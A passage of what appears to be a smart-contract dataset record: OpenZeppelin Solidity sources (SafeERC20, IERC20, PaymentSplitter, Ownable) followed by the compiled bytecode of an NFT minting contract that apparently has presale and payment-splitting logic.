IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | 0x6080604052600436106102955760003560e01c80636352211e11610159578063b88d4fde116100c6578063d79779b211610082578063d79779b214610872578063d8da19df146108a8578063e33b7de3146108c8578063e985e9c5146108dd578063f2fde38b146108fd578063f3b2db3f1461091d578063fb5ae0081461093357005b8063b88d4fde1461079c578063bd0be0f4146107bc578063c3c9e553146107dc578063c87b56dd146107fc578063caa77ac71461081c578063ce7c2ac21461083c57005b806395d89b411161011557806395d89b41146106e85780639852595c146106fd578063a22cb46514610733578063a2a92d6b14610753578063ac1730a114610766578063b534a5c41461077c57005b80636352211e1461064b57806370a082311461066b578063715018a61461068b5780638b83209b146106a05780638da5cb5b146106c0578063956fce7e146106d557005b806332cb6b0c116102025780634a994eef116101be5780634a994eef1461055f5780634d44660c1461057f5780634d4c4e991461059f5780634f64b2be146105b55780634f6ccce7146105e45780635a67de0714610604578063603f4d521461062457005b806332cb6b0c146104a75780633a98ef39146104bd578063406072a9146104d257806342842e0e146104f2578063438b63001461051257806348b750441461053f57005b80630dd886e2116102515780630dd886e2146103df57806318160ddd1461040457806319165587146104275780631c0860d11461044757806323b872dd146104675780632f745c591461048757005b806301ffc9a7146102d757806306fdde031461030c578063077796271461032e578063081812fc1461034e578063095ea7b31461037b57806309749a5e1461039b57005b366102d5577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033346040516102cb929190612f9a565b60405180910390a1005b005b3480156102e357600080fd5b506102f76102f2366004612fc9565b610953565b60405190151581526020015b60405180910390f35b34801561031857600080fd5b5061032161097e565b604051610303919061303e565b34801561033a57600080fd5b506102f7610349366004613066565b610a10565b34801561035a57600080fd5b5061036e610369366004613083565b610a69565b604051610303919061309c565b34801561038757600080fd5b506102d56103963660046130b0565b610af1565b3480156103a757600080fd5b506103cc6103b63660046130dc565b60176020526000908152604090205461ffff1681565b60405161ffff9091168152602001610303565b3480156103eb57600080fd5b5060155461036e9061010090046001600160a01b031681565b34801561041057600080fd5b50610419610c02565b604051908152602001610303565b34801561043357600080fd5b506102d5610442366004613066565b610c12565b34801561045357600080fd5b506102d5610462366004613145565b610d37565b34801561047357600080fd5b506102d56104823660046131de565b610d95565b34801561049357600080fd5b506104196104a23660046130b0565b610dc6565b3480156104b357600080fd5b50610419600f5481565b3480156104c957600080fd5b50600854610419565b3480156104de57600080fd5b506104196104ed36600461321f565b610e92565b3480156104fe57600080fd5b506102d561050d3660046131de565b610ebd565b34801561051e57600080fd5b5061053261052d366004613066565b610ed8565b6040516103039190613258565b34801561054b57600080fd5b506102d561055a36600461321f565b610fba565b34801561056b57600080fd5b506102d561057a3660046132aa565b61116f565b34801561058b57600080fd5b506102f761059a36600461331c565b6111c9565b3480156105ab57600080fd5b5061041960115481565b3480156105c157600080fd5b506105d56105d0366004613083565b611245565b60405161030393929190613386565b3480156105f057600080fd5b506104196105ff366004613083565b611286565b34801561061057600080fd5b506102d561061f3660046133be565b6112f7565b34801561063057600080fd5b5060155461063e9060ff1681565b60405161030391906133df565b34801561065757600080fd5b5061036e610666366004613083565b61134d565b34801561067757600080fd5b50610419610686366004613066565b61137d565b34801561069757600080fd5b506102d5611404565b3480156106ac57600080fd5b5061036e6106bb366004613083565b61143f565b3480156106cc57600080fd5b5061036e611454565b6102d56106e33660046133f9565b611463565b3480156106f457600080fd5b5061032161181d565b34801561070957600080fd5b50610419610718366004613066565b6001600160a01b03166000908152600b602052604090205490565b34801561073f57600080fd5b506102d561074e3660046132aa565b61182c565b6102d5610761366004613491565b6118ed565b34801561077257600080fd5b5061041960105481565b34801561078857600080fd5b506102d56107973660046134ad565b611dfe565b3480156107a857600080fd5b506102d56107b7366004613538565b611e73565b3480156107c857600080fd5b506102d56107d7366004613617565b611eab565b3480156107e857600080fd5b506104196107f73660046130dc565b611f9a565b34801561080857600080fd5b50610321610817366004613083565b61201c565b34801561082857600080fd5b50610419610837366004613083565b61213c565b34801561084857600080fd5b50610419610857366004613066565b6001600160a01b03166000908152600a602052604090205490565b34801561087e57600080fd5b5061041961088d366004613066565b6001600160a01b03166000908152600d602052604090205490565b3480156108b457600080fd5b5060165461036e906001600160a01b031681565b3480156108d457600080fd5b50600954610419565b3480156108e957600080fd5b506102f76108f836600461321f565b612153565b34801561090957600080fd5b506102d5610918366004613066565b612181565b34801561092957600080fd5b5061041960125481565b34801561093f57600080fd5b506102d561094e36600461321f565b6121e2565b60006001600160e01b0319821663780e9d6360e01b1480610978575061097882612281565b92915050565b60606003805461098d90613661565b80601f01602080910402602001604051908101604052809291908181526020018280546109b990613661565b8015610a065780601f106109db57610100808354040283529160200191610a06565b820191906000526020600020905b8154815290600101906020018083116109e957829003601f168201915b5050505050905090565b600033610a1b611454565b6001600160a01b031614610a4a5760405162461bcd60e51b8152600401610a4190613696565b60405180910390fd5b506001600160a01b031660009081526001602052604090205460ff1690565b6000610a74826122d1565b610ad55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a41565b506000908152600560205260409020546001600160a01b031690565b6000610afc8261134d565b9050806001600160a01b0316836001600160a01b03161415610b6a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a41565b336001600160a01b0382161480610b865750610b868133612153565b610bf35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b6064820152608401610a41565b610bfd838361231b565b505050565b6000610c0d60025490565b905090565b6001600160a01b0381166000908152600a6020526040902054610c475760405162461bcd60e51b8152600401610a41906136cb565b6000610c5260095490565b610c5c9047613727565b90506000610c898383610c84866001600160a01b03166000908152600b602052604090205490565b612389565b905080610ca85760405162461bcd60e51b8152600401610a419061373f565b6001600160a01b0383166000908152600b602052604081208054839290610cd0908490613727565b925050819055508060096000828254610ce99190613727565b90915550610cf9905083826123cf565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b0568382604051610d2a929190612f9a565b60405180910390a1505050565b3360009081526001602052604090205460ff16610d665760405162461bcd60e51b8152600401610a419061378a565b610d7260188787612ee7565b50610d7f60198585612ee7565b50610d8c601a8383612ee7565b50505050505050565b610d9f33826124e8565b610dbb5760405162461bcd60e51b8152600401610a41906137b4565b610bfd8383836125aa565b60008060005b600254811015610e355760028181548110610de957610de9613805565b6000918252602090912001546001600160a01b0386811691161415610e255783821415610e195791506109789050565b610e228261381b565b91505b610e2e8161381b565b9050610dcc565b5060405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610a41565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b610bfd83838360405180602001604052806000815250611e73565b6060600080610ee68461137d565b9050806001600160401b03811115610f0057610f00613522565b604051908082528060200260200182016040528015610f29578160200160208202803683370190505b50925060005b600254811015610fb25760028181548110610f4c57610f4c613805565b6000918252602090912001546001600160a01b0386811691161415610fa257808484610f778161381b565b955081518110610f8957610f89613805565b60200260200101818152505081831415610fa257610fb2565b610fab8161381b565b9050610f2f565b505050919050565b6001600160a01b0381166000908152600a6020526040902054610fef5760405162461bcd60e51b8152600401610a41906136cb565b6001600160a01b0382166000908152600d60205260408120546040516370a0823160e01b81526001600160a01b038516906370a082319061103490309060040161309c565b602060405180830381865afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190613836565b61107f9190613727565b905060006110928383610c848787610e92565b9050806110b15760405162461bcd60e51b8152600401610a419061373f565b6001600160a01b038085166000908152600e60209081526040808320938716835292905290812080548392906110e8908490613727565b90915550506001600160a01b0384166000908152600d602052604081208054839290611115908490613727565b90915550611126905084848361270a565b836001600160a01b03167f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a8483604051611161929190612f9a565b60405180910390a250505050565b33611178611454565b6001600160a01b03161461119e5760405162461bcd60e51b8152600401610a4190613696565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b6000805b828110156112385760028484838181106111e9576111e9613805565b905060200201358154811061120057611200613805565b6000918252602090912001546001600160a01b0386811691161461122857600091505061123e565b6112318161381b565b90506111cd565b50600190505b9392505050565b6002818154811061125557600080fd5b6000918252602090912001546001600160a01b0381169150600160a01b810461ffff1690600160b01b900460ff1683565b6000611290610c02565b82106112f35760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a41565b5090565b3360009081526001602052604090205460ff166113265760405162461bcd60e51b8152600401610a419061378a565b6015805482919060ff1916600183600381111561134557611345613370565b021790555050565b60006002828154811061136257611362613805565b6000918252602090912001546001600160a01b031692915050565b60006001600160a01b0382166113e85760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a41565b506001600160a01b031660009081526007602052604090205490565b3361140d611454565b6001600160a01b0316146114335760405162461bcd60e51b8152600401610a4190613696565b61143d6000612760565b565b6000600c828154811061136257611362613805565b6000546001600160a01b031690565b3360009081526001602052604090205460ff166114925760405162461bcd60e51b8152600401610a419061378a565b8483146114f15760405162461bcd60e51b815260206004820152602760248201527f6d7573742070726f7669646520657175616c20747970657320616e64207175616044820152666e74697469657360c81b6064820152608401610a41565b8281146115555760405162461bcd60e51b815260206004820152602c60248201527f6d7573742070726f7669646520657175616c207175616e74697469657320616e60448201526b6420726563697069656e747360a01b6064820152608401610a41565b61155d612f67565b60005b8481101561166457600088888381811061157c5761157c613805565b905060200201602081019061159191906130dc565b60018111156115a2576115a2613370565b14156115e4578585828181106115ba576115ba613805565b90506020020135826000600281106115d4576115d4613805565b602002018051909101905261165c565b60018888838181106115f8576115f8613805565b905060200201602081019061160d91906130dc565b600181111561161e5761161e613370565b141561165c5785858281811061163657611636613805565b905060200201358260016002811061165057611650613805565b60200201805190910190525b600101611560565b50601054602082810151600160005260179091527ff36d6bc9642eb6fb6ee9998b09ce990566df752ab06e11f8de7ab633bbd57b8f5461ffff160111156116bd5760405162461bcd60e51b8152600401610a419061384f565b601054600f5482516000805260176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b549290910361ffff9092160111156117195760405162461bcd60e51b8152600401610a419061387d565b60005b828110156118135785858281811061173657611736613805565b905060200201356007600086868581811061175357611753613805565b90506020020160208101906117689190613066565b6001600160a01b031681526020810191909152604001600090812080549092019091555b86868381811061179e5761179e613805565b9050602002013581101561180a576118028585848181106117c1576117c1613805565b90506020020160208101906117d69190613066565b8a8a858181106117e8576117e8613805565b90506020020160208101906117fd91906130dc565b6127b0565b60010161178c565b5060010161171c565b5050505050505050565b60606004805461098d90613661565b6001600160a01b0382163314156118815760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b6044820152606401610a41565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600060155460ff16600381111561190657611906613370565b116119485760405162461bcd60e51b815260206004820152601260248201527153616c65206973206e6f742061637469766560701b6044820152606401610a41565b600061195960208301358335613727565b9050600081116119a25760405162461bcd60e51b815260206004820152601460248201527343616e6e6f74206d696e74203020746f6b656e7360601b6044820152606401610a41565b6010546001600052601760209081527ff36d6bc9642eb6fb6ee9998b09ce990566df752ab06e11f8de7ab633bbd57b8f546119e4918501359061ffff16613727565b1115611a025760405162461bcd60e51b8152600401610a419061384f565b601054600f54611a1291906138ad565b6000805260176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b54611a4d9084359061ffff16613727565b1115611a6b5760405162461bcd60e51b8152600401610a419061387d565b6015546040516370a0823160e01b815260009161010090046001600160a01b0316906370a0823190611aa190339060040161309c565b602060405180830381865afa158015611abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae29190613836565b9050600160155460ff166003811115611afd57611afd613370565b1415611bbf5760008111611b4e5760405162461bcd60e51b81526020600482015260186024820152774d757374206f776e2047656e6573697320476f646a69726160401b6044820152606401610a41565b60115433600090815260076020526040902054611b6c908490613727565b1115611bba5760405162461bcd60e51b815260206004820152601e60248201527f4d696e7420657863656564732070726573616c6520616c6c6f77616e636500006044820152606401610a41565b611cf2565b600360155460ff166003811115611bd857611bd8613370565b1015611ca0576016546040516370a0823160e01b81526001600160a01b03909116906370a0823190611c0e90339060040161309c565b602060405180830381865afa158015611c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4f9190613836565b611c599082613727565b905060008111611b4e5760405162461bcd60e51b81526020600482015260126024820152714d757374206f776e206120476f646a69726160701b6044820152606401610a41565b601254821115611cf25760405162461bcd60e51b815260206004820152601e60248201527f4d696e742065786365656473207472616e73616374696f6e206c696d697400006044820152606401610a41565b601454600090611d07906020860135906138c4565b601354611d16908635906138c4565b611d209190613727565b905080341015611d6e5760405162461bcd60e51b8152602060048201526019602482015278115d1a195c881cd95b9d081a5cc81b9bdd0818dbdc9c9958dd603a1b6044820152606401610a41565b3360009081526007602052604081208054859290611d8d908490613727565b90915550600090505b6002811015611df75760005b858260028110611db457611db4613805565b6020020135811015611de657611dd6338360018111156117fd576117fd613370565b611ddf8161381b565b9050611da2565b50611df08161381b565b9050611d96565b5050505050565b60005b83811015610d8c57611e638787878785818110611e2057611e20613805565b9050602002013586868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611e7392505050565b611e6c8161381b565b9050611e01565b611e7d33836124e8565b611e995760405162461bcd60e51b8152600401610a41906137b4565b611ea5848484846128f4565b50505050565b3360009081526001602052604090205460ff16611eda5760405162461bcd60e51b8152600401610a419061378a565b84600f5414611ee957600f8590555b8360105414611ef85760108490555b8260115414611f075760118390555b8160125414611f165760128290555b60005b6002811015611f9257818160028110611f3457611f34613805565b602002013560138260028110611f4c57611f4c613805565b015414611f8057818160028110611f6557611f65613805565b602002013560138260028110611f7d57611f7d613805565b01555b80611f8a8161381b565b915050611f19565b505050505050565b6000805b60025481101561201657826001811115611fba57611fba613370565b60028281548110611fcd57611fcd613805565b600091825260209091200154600160b01b900460ff166001811115611ff457611ff4613370565b1415612006576120038261381b565b91505b61200f8161381b565b9050611f9e565b50919050565b6060612027826122d1565b61208b5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610a41565b601861209683612927565b601a6120da600286815481106120ae576120ae613805565b600091825260209091200154600160b01b900460ff1660018111156120d5576120d5613370565b612927565b601a61210e600288815481106120f2576120f2613805565b600091825260209091200154600160a01b900461ffff16612927565b6019604051602001612126979695949392919061397d565b6040516020818303038152906040529050919050565b6013816002811061214c57600080fd5b0154905081565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3361218a611454565b6001600160a01b0316146121b05760405162461bcd60e51b8152600401610a4190613696565b6001600160a01b0381166000908152600160208190526040909120805460ff191690911790556121df81612a24565b50565b3360009081526001602052604090205460ff166122115760405162461bcd60e51b8152600401610a419061378a565b6015546001600160a01b03838116610100909204161461224c5760158054610100600160a81b0319166101006001600160a01b038516021790555b6016546001600160a01b0382811691161461227d57601680546001600160a01b0319166001600160a01b0383161790555b5050565b60006001600160e01b031982166380ac58cd60e01b14806122b257506001600160e01b03198216635b5e139f60e01b145b8061097857506301ffc9a760e01b6001600160e01b0319831614610978565b60025460009082108015610978575060006001600160a01b0316600283815481106122fe576122fe613805565b6000918252602090912001546001600160a01b0316141592915050565b600081815260056020526040902080546001600160a01b0319166001600160a01b03841690811790915581906123508261134d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6008546001600160a01b0384166000908152600a6020526040812054909183916123b390866138c4565b6123bd9190613a08565b6123c791906138ad565b949350505050565b8047101561241f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610a41565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461246c576040519150601f19603f3d011682016040523d82523d6000602084013e612471565b606091505b5050905080610bfd5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610a41565b60006124f3826122d1565b6125545760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a41565b600061255f8361134d565b9050806001600160a01b0316846001600160a01b0316148061259a5750836001600160a01b031661258f84610a69565b6001600160a01b0316145b806123c757506123c78185612153565b826001600160a01b03166125bd8261134d565b6001600160a01b0316146126255760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a41565b6001600160a01b0382166126875760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a41565b6126918383612ac1565b61269c60008261231b565b81600282815481106126b0576126b0613805565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b610bfd8363a9059cbb60e01b8484604051602401612729929190612f9a565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612b38565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000601760008360018111156127c8576127c8613370565b60018111156127d9576127d9613370565b815260208101919091526040016000908120805461ffff16916127fb83613a1c565b91906101000a81548161ffff021916908361ffff1602179055509050600061282260025490565b905060026040518060600160405280866001600160a01b031681526020018461ffff16815260200185600181111561285c5761285c613370565b905281546001818101845560009384526020938490208351920180549484015161ffff16600160a01b026001600160b01b03199095166001600160a01b03909316929092179390931780825560408301519293919291839160ff60b01b191690600160b01b9084908111156128d3576128d3613370565b02179055505050611ea5848260405180602001604052806000815250612c0a565b6128ff8484846125aa565b61290b84848484612c3d565b611ea55760405162461bcd60e51b8152600401610a4190613a3e565b60608161294b5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612975578061295f8161381b565b915061296e9050600a83613a08565b915061294f565b6000816001600160401b0381111561298f5761298f613522565b6040519080825280601f01601f1916602001820160405280156129b9576020820181803683370190505b5090505b84156123c7576129ce6001836138ad565b91506129db600a86613a90565b6129e6906030613727565b60f81b8183815181106129fb576129fb613805565b60200101906001600160f81b031916908160001a905350612a1d600a86613a08565b94506129bd565b33612a2d611454565b6001600160a01b031614612a535760405162461bcd60e51b8152600401610a4190613696565b6001600160a01b038116612ab85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061604482015265646472657